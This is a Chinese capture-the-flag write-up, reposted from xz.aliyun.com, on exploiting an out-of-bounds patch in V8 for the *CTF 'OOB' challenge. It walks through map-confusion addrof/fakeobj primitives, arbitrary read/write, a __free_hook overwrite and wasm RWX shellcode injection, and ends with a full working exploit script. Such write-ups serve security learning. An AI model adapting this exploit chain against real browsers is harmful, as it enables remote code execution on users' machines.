内容简介:作者:V1NKe来源:之前参加*CTF看到出了一道v8的题,之前就对v8感兴趣,拖了很久才把这题给弄清楚。不过这题出题人在原基础上自己写了漏洞的代码,算是相对较简单的一道题,算是作为v8初识的一道题。
作者:V1NKe
来源: https://xz.aliyun.com/t/5368
前言:
之前参加*CTF看到出了一道v8的题,之前就对v8感兴趣,拖了很久才把这题给弄清楚。不过这题出题人在原基础上自己写了漏洞的代码,算是相对较简单的一道题,算是作为v8初识的一道题。
正文:
拿到一个 diff
:
diff --git a/src/bootstrapper.cc b/src/bootstrapper.cc index b027d36..ef1002f 100644 --- a/src/bootstrapper.cc +++ b/src/bootstrapper.cc @@ -1668,6 +1668,8 @@ void Genesis::InitializeGlobal(Handle<JSGlobalObject> global_object, Builtins::kArrayPrototypeCopyWithin, 2, false); SimpleInstallFunction(isolate_, proto, "fill", Builtins::kArrayPrototypeFill, 1, false); + SimpleInstallFunction(isolate_, proto, "oob", + Builtins::kArrayOob,2,false); SimpleInstallFunction(isolate_, proto, "find", Builtins::kArrayPrototypeFind, 1, false); SimpleInstallFunction(isolate_, proto, "findIndex", diff --git a/src/builtins/builtins-array.cc b/src/builtins/builtins-array.cc index 8df340e..9b828ab 100644 --- a/src/builtins/builtins-array.cc +++ b/src/builtins/builtins-array.cc @@ -361,6 +361,27 @@ V8_WARN_UNUSED_RESULT Object GenericArrayPush(Isolate* isolate, return *final_length; } } // namespace +BUILTIN(ArrayOob){ + uint32_t len = args.length(); + if(len > 2) return ReadOnlyRoots(isolate).undefined_value(); + Handle<JSReceiver> receiver; + ASSIGN_RETURN_FAILURE_ON_EXCEPTION( + isolate, receiver, Object::ToObject(isolate, args.receiver())); + Handle<JSArray> array = Handle<JSArray>::cast(receiver); + FixedDoubleArray elements = FixedDoubleArray::cast(array->elements()); + uint32_t length = static_cast<uint32_t>(array->length()->Number()); + if(len == 1){ + //read + return *(isolate->factory()->NewNumber(elements.get_scalar(length))); + }else{ + //write + Handle<Object> value; + ASSIGN_RETURN_FAILURE_ON_EXCEPTION( + isolate, value, Object::ToNumber(isolate, args.at<Object>(1))); + elements.set(length,value->Number()); + return ReadOnlyRoots(isolate).undefined_value(); + } +} BUILTIN(ArrayPush) { HandleScope scope(isolate); diff --git a/src/builtins/builtins-definitions.h b/src/builtins/builtins-definitions.h index 0447230..f113a81 100644 --- a/src/builtins/builtins-definitions.h +++ b/src/builtins/builtins-definitions.h @@ -368,6 +368,7 @@ namespace internal { TFJ(ArrayPrototypeFlat, SharedFunctionInfo::kDontAdaptArgumentsSentinel) \ /* https://tc39.github.io/proposal-flatMap/#sec-Array.prototype.flatMap */ \ TFJ(ArrayPrototypeFlatMap, SharedFunctionInfo::kDontAdaptArgumentsSentinel) \ + CPP(ArrayOob) \ \ /* ArrayBuffer */ \ /* ES #sec-arraybuffer-constructor */ \ diff --git a/src/compiler/typer.cc b/src/compiler/typer.cc index ed1e4a5..c199e3a 100644 --- a/src/compiler/typer.cc +++ b/src/compiler/typer.cc @@ -1680,6 +1680,8 @@ Type Typer::Visitor::JSCallTyper(Type fun, Typer* t) { return Type::Receiver(); case Builtins::kArrayUnshift: return t->cache_->kPositiveSafeInteger; + case Builtins::kArrayOob: + return Type::Receiver(); // ArrayBuffer functions. case Builtins::kArrayBufferIsView:
看新加的 oob
函数就行(虽然我也看不太懂写的是个啥玩楞2333。里面的 read
和 write
注释,还有直接取了 length
可以大概意识到是一个越界读写的漏洞。
a.oob()
就是将越界的首个8字节给读出, a.oob(1)
就是将 1
写入越界的首个8字节。
那么越界读写就好办了,先测试一下看看:
? x64.release git:(6dc88c1) ? ./d8 V8 version 7.5.0 (candidate) d8> a = [1,2,3,4] [1, 2, 3, 4] d8> a.oob() 4.42876206109e-311
因为v8中的数以浮点数的形式显示,所以先写好浮点数与整数间的转化原语函数:
var buff_area = new ArrayBuffer(0x10); var fl = new Float64Array(buff_area); var ui = new BigUint64Array(buff_area); function ftoi(floo){ fl[0] = floo; return ui[0]; } function itof(intt){ ui[0] = intt; return fl[0]; } function tos(data){ return "0x"+data.toString(16); }
上手调试,先看看一个数组的排布情况:
var a = [0x1000000,2,3,4]; pwndbg> x/10xg 0x101d1f8d0069-1 0x101d1f8d0068: 0x00000a9abe942d99 0x000012a265ac0c71 --> JSArray 0x101d1f8d0078: 0x0000101d1f8cf079 0x0000000400000000 0x101d1f8d0088: 0x0000000000000000 0x0000000000000000 0x101d1f8d0098: 0x0000000000000000 0x0000000000000000 0x101d1f8d00a8: 0x0000000000000000 0x0000000000000000 pwndbg> x/10xg 0x0000101d1f8cf079-1 0x101d1f8cf078: 0x000012a265ac0851 0x0000000400000000 --> FixedArray 0x101d1f8cf088: 0x0100000000000000 0x0000000200000000 0x101d1f8cf098: 0x0000000300000000 0x0000000400000000 0x101d1f8cf0a8: 0x000012a265ac0851 0x0000005c00000000 0x101d1f8cf0b8: 0x0000000000000000 0x0000006100000000
所以此时的 a.oob()
所泄漏的应该是 0x000012a265ac0851
的double形式。但是我们无法知道 0x000012a265ac0851
是什么内容,不可控。那么我们换一个数组,看以下数组情况:
var a = [1.1,2.2,3.3,4.4]; pwndbg> x/10xg 0x0797a34100c9-1 0x797a34100c8: 0x00001c07e15c2ed9 0x00000df4ef880c71 --> JSArray 0x797a34100d8: 0x00000797a3410099 0x0000000400000000 0x797a34100e8: 0x0000000000000000 0x0000000000000000 0x797a34100f8: 0x0000000000000000 0x0000000000000000 0x797a3410108: 0x0000000000000000 0x0000000000000000 pwndbg> x/10xg 0x00000797a3410099-1 0x797a3410098: 0x00000df4ef8814f9 0x0000000400000000 --> FixedArray 0x797a34100a8: 0x3ff199999999999a 0x400199999999999a 0x797a34100b8: 0x400a666666666666 0x401199999999999a 0x797a34100c8: 0x00001c07e15c2ed9 0x00000df4ef880c71 --> JSArray 0x797a34100d8: 0x00000797a3410099 0x0000000400000000
我们可以看见 FixedArray
和 JSArray
是紧邻的,所以 a.oob()
泄漏的是 0x00001c07e15c2ed9
,即 JSArray
的 map
值( PACKED_DOUBLE_ELEMENTS
)。这样我们就好构造利用了。
类型混淆:
假设我们有一个浮点型的数组和一个对象数组,我们先用上面所说的 a.oob()
泄漏各自的 map
值,在用我们的可写功能,将浮点型数组的 map
写入对象数组的 map
,这样对象数组中所存储的对象地址就被当作了浮点值,因此我们可以泄漏任意对象的地址。
相同的,将对象数组的 map
写入浮点型数组的 map
,那么浮点型数组中所存储的浮点值就会被当作对象地址来看待,所以我们可以构造任意地址的对象。
泄漏对象地址和构造地址对象:
先得到两个类型的 map
:
var obj = {"A":0x100}; var obj_all = [obj]; var array_all = [1.1,2,3]; var obj_map = obj_all.oob(); //obj_JSArray_map var float_array_map = array_all.oob(); //float_JSArray_map
再写出泄漏和构造的两个函数:
function leak_obj(obj_in){ //泄漏对象地址 obj_all[0] = obj_in; obj_all.oob(float_array_map); let leak_obj_addr = obj_all[0]; obj_all.oob(obj_map); return ftoi(leak_obj_addr); } function fake_obj(obj_in){ //构造地址对象 array_all[0] = itof(obj_in); array_all.oob(obj_map); let fake_obj_addr = array_all[0]; array_all.oob(float_array_map); return fake_obj_addr; }
得到了以上的泄漏和构造之后我们想办法将利用链扩大,构造出任意读写的功能。
任意写:
先构造一个浮点型数组:
var test = [7.7,1.1,1,0xfffffff];
再泄漏该数组地址:
leak_obj(test);
这样我们可以得到数组的内存地址,此时数组中的情况:
pwndbg> x/20xg 0x2d767fbd0019-1-0x30 0x2d767fbcffe8: 0x000030a6f3b014f9 0x0000000400000000 --> FixedArray 0x2d767fbcfff8: 0x00003207dce82ed9 0x3ff199999999999a 0x2d767fbd0008: 0x3ff0000000000000 0x41affffffe000000 0x2d767fbd0018: 0x00003207dce82ed9 0x000030a6f3b00c71 --> JSArray 0x2d767fbd0028: 0x00002d767fbcffe9 0x0000000400000000
我们可以利用构造地址对象把 0x2d767fbcfff8
处伪造为一个 JSArray
对象,我们将 test[0]
写为浮点型数组的 map
即可。这样, 0x2d767fbcfff8-0x2d767fbd0018
的32字节就是 JSArray
,我们再在 0x2d767fbd0008
任意写一个地址,我们就能达到任意写的目的。比如我们将他写为 0x2d767fbcffc8
,那么 0x2d767fbcffc8
处就是伪造的 FixedArray
, 0x2d767fbcffc8+0x10
处就为 elements
的内容,把伪造的对象记为 fake_js
,那么执行:
fake_js[0] = 0x100;
即把0x100复制给 0x2d767fbcffc8+0x10
处。
任意写:
任意写就很简单了,就是:
console.log(fake_js[0]);
取出数组内容即可。
那么接下来写构造出来的任意读写函数:
function write_all(read_addr,read_data){ let test_read = fake_obj(leak_obj(tt)-0x20n); tt[2] = itof(read_addr-0x10n); test_read[0] = itof(read_data); } function read_all(write_addr){ let test_write = fake_obj(leak_obj(tt)-0x20n); tt[2] = itof(write_addr-0x10n); return ftoi(test_write[0]); }
有了任意读写之后就好利用了,可以用 pwn
中的常规思路来后续利用:
__free_hook __free_hook
后续在覆写 __free_hook
的过程中,会发现覆写不成功(说是浮点数组处理 7f
高地址的时候会有变换。
所以这里需要改写一下任意写,这里我们就需要利用 ArrayBuffer
的 backing_store
去利用任意写:
先新建一块写区域:
var buff_new = new ArrayBuffer(0x20); var dataview = new DataView(buff_new); %DebugPrint(buff_new);
这时候写入:
dataview.setBigUint64(0,0x12345678,true);
在 ArrayBuffer
中的 backing_store
字段中会发现:
pwndbg> x/10xg 0x029ce8f500a9-1 0x29ce8f500a8: 0x00002f1fa5c821b9 0x00002cb659b80c71 0x29ce8f500b8: 0x00002cb659b80c71 0x0000000000000020 0x29ce8f500c8: 0x000055555639fe70 --> backing_store 0x0000000000000002 0x29ce8f500d8: 0x0000000000000000 0x0000000000000000 0x29ce8f500e8: 0x00002f1fa5c81719 0x00002cb659b80c71 pwndbg> x/10xg 0x000055555639fe70 0x55555639fe70: 0x0000000012345678 0x0000000000000000 0x55555639fe80: 0x0000000000000000 0x0000000000000000 0x55555639fe90: 0x0000000000000000 0x0000000000000041 0x55555639fea0: 0x000055555639fe10 0x000000539d1ea015 0x55555639feb0: 0x0000029ce8f500a9 0x000055555639fe70
因此,只要我们先将 backing_store
改写为我们所想要写的地址,再利用dataview的写入功能即可完成任意写:
function write_dataview(fake_addr,fake_data){ let buff_new = new ArrayBuffer(0x30); let dataview = new DataView(buff_new); let leak_buff = leak_obj(buff_new); let fake_write = leak_buff+0x20n; write_all(fake_write,fake_addr); dataview.setBigUint64(0,fake_data,true); }
而后就可以按照正常流程来读写利用了。
这里就介绍一种在浏览器中比较稳定利用的一个方式,利用 wasm
来劫持程序流。
wasm劫持程序流:
在 v8
中,可以直接执行 wasm
中的字节码。有一个网站可以在线将 C语言 直接转换为wasm并生成JS调用代码: https://wasdk.github.io/WasmFiddle
。
左侧是c语言,右侧是 js
代码,选 Code Buffer
模式,点 build
编译,左下角生成的就是 wasm code
。
有限的是c语言部分只能写一些很简单的 return
功能。多了赋值等操作就会报错。但是也足够了。
将上面生成的代码测试一下:
var wasmCode = new Uint8Array([0,97,115,109,1,0,0,0,1,133,128,128,128,0,1,96,0,1,127,3,130,128,128,128,0,1,0,4,132,128,128,128,0,1,112,0,0,5,131,128,128,128,0,1,0,1,6,129,128,128,128,0,0,7,145,128,128,128,0,2,6,109,101,109,111,114,121,2,0,4,109,97,105,110,0,0,10,138,128,128,128,0,1,132,128,128,128,0,0,65,42,11]); var wasmModule = new WebAssembly.Module(wasmCode); var wasmInstance = new WebAssembly.Instance(wasmModule); var f = wasmInstance.exports.main; var leak_f = leak_obj(f); //console.log('0x'+leak_f.toString(16)); console.log(f()); %DebugPrint(test); %SystemBreak();
会得到 42
的结果,那么我们很容易就能想到,如果用任意写的功能,将 wasm
中的可执行区域写入 shellcode
呢?
我们需要找到可执行区域的字段。
直接给出字段:
Function–>shared_info–>WasmExportedFunctionData–>instance
在空间中的显示:
Function: pwndbg> x/10xg 0x144056c21f31-1 0x144056c21f30: 0x00002ab4903c4379 0x00003de1f2ac0c71 0x144056c21f40: 0x00003de1f2ac0c71 0x0000144056c21ef9 --> shared_info 0x144056c21f50: 0x0000144056c01869 0x000001a263740699 0x144056c21f60: 0x00001defa6dc2001 0x00003de1f2ac0bc1 0x144056c21f70: 0x0000000400000000 0x0000000000000000 shared_info: pwndbg> x/10xg 0x0000144056c21ef9-1 0x144056c21ef8: 0x00003de1f2ac09e1 0x0000144056c21ed1 --> WasmExportedFunctionData 0x144056c21f08: 0x00003de1f2ac4ae1 0x00003de1f2ac2a39 0x144056c21f18: 0x00003de1f2ac04d1 0x0000000000000000 0x144056c21f28: 0x0000000000000000 0x00002ab4903c4379 0x144056c21f38: 0x00003de1f2ac0c71 0x00003de1f2ac0c71 WasmExportedFunctionData: pwndbg> x/10xg 0x0000144056c21ed1-1 0x144056c21ed0: 0x00003de1f2ac5879 0x00001defa6dc2001 0x144056c21ee0: 0x0000144056c21d39 --> instance 0x0000000000000000 0x144056c21ef0: 0x0000000000000000 0x00003de1f2ac09e1 0x144056c21f00: 0x0000144056c21ed1 0x00003de1f2ac4ae1 0x144056c21f10: 0x00003de1f2ac2a39 0x00003de1f2ac04d1 instance+0x88: pwndbg> telescope 0x0000144056c21d39-1+0x88 00:0000│ 0x144056c21dc0 —? 0x27860927e000 ?— movabs r10, 0x27860927e260 /* 0x27860927e260ba49 */ --> 可执行地址 01:0008│ 0x144056c21dc8 —? 0x2649b9fd0251 ?— 0x7100002ab4903c91 02:0010│ 0x144056c21dd0 —? 0x2649b9fd0489 ?— 0x7100002ab4903cad 03:0018│ 0x144056c21dd8 —? 0x144056c01869 ?— 0x3de1f2ac0f 04:0020│ 0x144056c21de0 —? 0x144056c21e61 ?— 0x7100002ab4903ca1 05:0028│ 0x144056c21de8 —? 0x3de1f2ac04d1 ?— 0x3de1f2ac05 pwndbg> vmmap 0x27860927e000 LEGEND: STACK | HEAP | CODE | DATA | RWX | RODATA 0x27860927e000 0x27860927f000 rwxp 1000 0
可得知 0x144056c21dc0
处的 0x27860927e000
为可执行区域,那么只需要将 0x144056c21dc0
处的内容读取出来,在将 shellcode
写入读取出来的地址处即可完成程序流劫持:
var data1 = read_all(leak_f+0x18n); var data2 = read_all(data1+0x8n); var data3 = read_all(data2+0x10n); var data4 = read_all(data3+0x88n); //console.log('0x'+data4.toString(16)); let buff_new = new ArrayBuffer(0x100); let dataview = new DataView(buff_new); let leak_buff = leak_obj(buff_new); let fake_write = leak_buff+0x20n; write_all(fake_write,data4); var shellcode=[0x90909090,0x90909090,0x782fb848,0x636c6163,0x48500000,0x73752fb8,0x69622f72,0x8948506e,0xc03148e7,0x89485750,0xd23148e6,0x3ac0c748,0x50000030,0x4944b848,0x414c5053,0x48503d59,0x3148e289,0x485250c0,0xc748e289,0x00003bc0,0x050f00]; for(var i=0;i<shellcode.length;i++){ dataview.setUint32(4*i,shellcode[i],true); } f();
利用成功:
EXP:
var buff_area = new ArrayBuffer(0x10); var fl = new Float64Array(buff_area); var ui = new BigUint64Array(buff_area); function ftoi(floo){ fl[0] = floo; return ui[0]; } function itof(intt){ ui[0] = intt; return fl[0]; } function tos(data){ return "0x"+data.toString(16); } var obj = {"A":1}; var obj_all = [obj]; var array_all = [1.1,2,3]; var obj_map = obj_all.oob(); //obj_JSArray_map var float_array_map = array_all.oob(); //float_JSArray_map function leak_obj(obj_in){ obj_all[0] = obj_in; obj_all.oob(float_array_map); let leak_obj_addr = obj_all[0]; obj_all.oob(obj_map); return ftoi(leak_obj_addr); } function fake_obj(obj_in){ array_all[0] = itof(obj_in); array_all.oob(obj_map); let fake_obj_addr = array_all[0]; array_all.oob(float_array_map); return fake_obj_addr; } var tt = [float_array_map,1.1,1,0xfffffff]; function write_all(read_addr,read_data){ let test_read = fake_obj(leak_obj(tt)-0x20n); tt[2] = itof(read_addr-0x10n); test_read[0] = itof(read_data); } function read_all(write_addr){ let test_write = fake_obj(leak_obj(tt)-0x20n); tt[2] = itof(write_addr-0x10n); return ftoi(test_write[0]); } //console.log(tos(read_all(leak_obj(tt)-0x20n))); //write_all(leak_obj(tt)-0x20n,0xffffffn); function sj_leak_test_base(leak_addr){ leak_addr -= 1n; while(true){ let data = read_all(leak_addr+1n); let data1 = data.toString(16).padStart(16,'0'); let data2 = data1.substr(13,3); //console.log(toString(data)); //console.log(data1); //console.log(data2); //%SystemBreak(); if(data2 == '2c0' && read_all(data+1n).toString(16) == "ec834853e5894855"){ //console.log('0x'+data.toString(16)); return data; } leak_addr -= 8n; } } function write_dataview(fake_addr,fake_data){ let buff_new = new ArrayBuffer(0x30); let dataview = new DataView(buff_new); let leak_buff = leak_obj(buff_new); let fake_write = leak_buff+0x20n; write_all(fake_write,fake_addr); dataview.setBigUint64(0,fake_data,true); } function wd_leak_test_base(test){ let test_fake = leak_obj(test.constructor); test_fake += 0x30n; test_fake = read_all(test_fake)+0x40n; test_fake = (read_all(test_fake)&0xffffffffffff0000n)>>16n; return test_fake; } function write_system_addr(leak_test_addr){ var elf_base = leak_test_addr - 11359456n; console.log("[*] leak elf base success: 0x"+elf_base.toString(16)); var puts_got = elf_base + 0xD9A3B8n; puts_got = read_all(puts_got+1n); console.log("[*] leak puts got success: 0x"+puts_got.toString(16)); var libc_base = puts_got - 456336n; console.log("[*] leak libc base success: 0x"+libc_base.toString(16)); var free_hook = libc_base + 3958696n; console.log("[*] leak __free_hook success: 0x"+free_hook.toString(16)); var one_gadget = libc_base + 0x4526an; console.log("[*] leak one_gadget success: 0x"+one_gadget.toString(16)); var system_addr = libc_base + 283536n; write_dataview(free_hook,system_addr); } function get_shell(){ var bufff = new ArrayBuffer(0x10); var dataa = new DataView(bufff); dataa.setBigUint64(0,0x0068732f6e69622fn,true); } var wasmCode = new Uint8Array([0,97,115,109,1,0,0,0,1,133,128,128,128,0,1,96,0,1,127,3,130,128,128,128,0,1,0,4,132,128,128,128,0,1,112,0,0,5,131,128,128,128,0,1,0,1,6,129,128,128,128,0,0,7,145,128,128,128,0,2,6,109,101,109,111,114,121,2,0,4,109,97,105,110,0,0,10,138,128,128,128,0,1,132,128,128,128,0,0,65,42,11]); var wasmModule = new WebAssembly.Module(wasmCode); var wasmInstance = new WebAssembly.Instance(wasmModule); var f = wasmInstance.exports.main; var leak_f = leak_obj(f); //console.log('0x'+leak_f.toString(16)); //console.log(f()); //%DebugPrint(f); //%SystemBreak(); var data1 = read_all(leak_f+0x18n); var data2 = read_all(data1+0x8n); var data3 = read_all(data2+0x10n); var data4 = read_all(data3+0x88n); //console.log('0x'+data4.toString(16)); let buff_new = new ArrayBuffer(0x100); let dataview = new DataView(buff_new); let leak_buff = leak_obj(buff_new); let fake_write = leak_buff+0x20n; write_all(fake_write,data4); var shellcode=[0x90909090,0x90909090,0x782fb848,0x636c6163,0x48500000,0x73752fb8,0x69622f72,0x8948506e,0xc03148e7,0x89485750,0xd23148e6,0x3ac0c748,0x50000030,0x4944b848,0x414c5053,0x48503d59,0x3148e289,0x485250c0,0xc748e289,0x00003bc0,0x050f00]; for(var i=0;i<shellcode.length;i++){ dataview.setUint32(4*i,shellcode[i],true); } //dataview.setBigUint64(0,0x2fbb485299583b6an,true); //dataview.setBigUint64(8,0x5368732f6e69622fn,true); //dataview.setBigUint64(16,0x050f5e5457525f54n,true); f();
Reference:
以上所述就是小编给大家介绍的《*CTF-OOB-Writeup》,希望对大家有所帮助,如果大家有任何疑问请给我留言,小编会及时回复大家的。在此也非常感谢大家对 码农网 的支持!
猜你喜欢:本站部分资源来源于网络,本站转载出于传递更多信息之目的,版权归原作者或者来源机构所有,如转载稿涉及版权问题,请联系我们。